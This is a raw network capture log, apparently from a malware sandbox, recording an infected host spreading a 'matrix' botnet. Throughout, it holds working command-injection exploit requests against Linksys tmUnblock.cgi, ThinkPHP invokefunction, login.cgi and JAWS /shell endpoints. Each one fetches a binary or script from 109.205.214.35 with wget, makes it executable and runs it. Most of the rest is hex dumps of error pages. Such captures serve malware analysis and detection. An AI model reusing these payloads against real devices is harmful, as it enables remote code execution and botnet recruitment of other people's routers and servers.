6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
2276	192.168.2.13	57454	88.99.124.196	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:48.932148933 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
2277	192.168.2.13	47180	212.85.105.67	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:48.944875002 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:49.135097980 CET	285	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:49 GMT Content-Type: text/html Content-Length: 128 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 6f 70 73 21 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Oops! 400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2278	192.168.2.13	55148	212.57.127.10	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:49.153146982 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:49.370649099 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.1 Date: Thu, 21 Mar 2024 04:23:49 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2279	192.168.2.13	45836	212.31.21.3	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:49.161168098 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
2280	192.168.2.13	50344	212.162.152.242	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:49.541893959 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:49.708386898 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:49 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2281	192.168.2.13	42318	34.110.170.109	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:49.608141899 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:50.124273062 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:50.224123955 CET	441	IN	HTTP/1.0 400 Bad Request Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 273 Date: Thu, 21 Mar 2024 04:23:50 GMT Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 68 32 3e 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>400 Bad Request</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Bad Request</h1><h2>Your client has issued a malformed or illegal request.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2282	192.168.2.13	43506	52.222.248.57	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:49.687444925 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:49.855284929 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
2283	192.168.2.13	56896	152.0.40.88	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:49.841105938 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:50.001519918 CET	337	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Mar 21, 2024 05:23:50.002062082 CET	1286	IN	Data Raw: 64 33 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d35<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Mar 21, 2024 05:23:50.002105951 CET	1286	IN	Data Raw: 3d 3d 20 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c 69 74 28 Data Ascii: == ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUshor
Mar 21, 2024 05:23:50.002613068 CET	857	IN	Data Raw: 73 65 0d 0a 7b 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f 20 6f 72 Data Ascii: se{var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;

Session ID	Source IP	Source Port	Destination IP	Destination Port
2284	192.168.2.13	46024	219.79.115.79	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.159671068 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:51.791359901 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2285	192.168.2.13	52352	154.38.155.132	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.723921061 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:50.824256897 CET	1286	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.9 Mime-Version: 1.0 Date: Thu, 21 Mar 2024 04:17:28 GMT Content-Type: text/html Content-Length: 3455 X-Squid-Error: ERR_INVALID_REQ 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff;
Mar 21, 2024 05:23:50.824309111 CET	1286	IN	Data Raw: 0a 7d 0a 0a 2f 2a 20 47 65 6e 65 72 61 6c 20 74 65 78 74 20 2a 2f 0a 70 20 7b 0a 7d 0a 0a 2f 2a 20 65 72 72 6f 72 20 62 72 69 65 66 20 64 65 73 63 72 69 70 74 69 6f 6e 20 2a 2f 0a 23 65 72 72 6f 72 20 70 20 7b 0a 7d 0a 0a 2f 2a 20 73 6f 6d 65 20 Data Ascii: }/* General text /p {}/ error brief description /#error p {}/ some data which may have caused the problem /#data {}/ the error message received from the system or other software */#sysmsg {}pre { font-family:sans-s
Mar 21, 2024 05:23:50.824321032 CET	1124	IN	Data Raw: 2d 6d 61 74 72 69 78 0d 0a 48 6f 73 74 3a 20 31 32 37 2e 30 2e 30 2e 31 3a 38 30 0d 0a 41 63 63 65 70 74 3a 20 74 65 78 74 2f 68 74 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 Data Ascii: -matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive</pre> </blockquote> <p>Some possible problems are:</p> <ul> <li><p>Missing or unknown request method.<
Mar 21, 2024 05:23:51.101819038 CET	1286	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.9 Mime-Version: 1.0 Date: Thu, 21 Mar 2024 04:17:28 GMT Content-Type: text/html Content-Length: 3455 X-Squid-Error: ERR_INVALID_REQ 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff;

Session ID	Source IP	Source Port	Destination IP	Destination Port
2286	192.168.2.13	48814	104.27.107.177	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:50.797415018 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
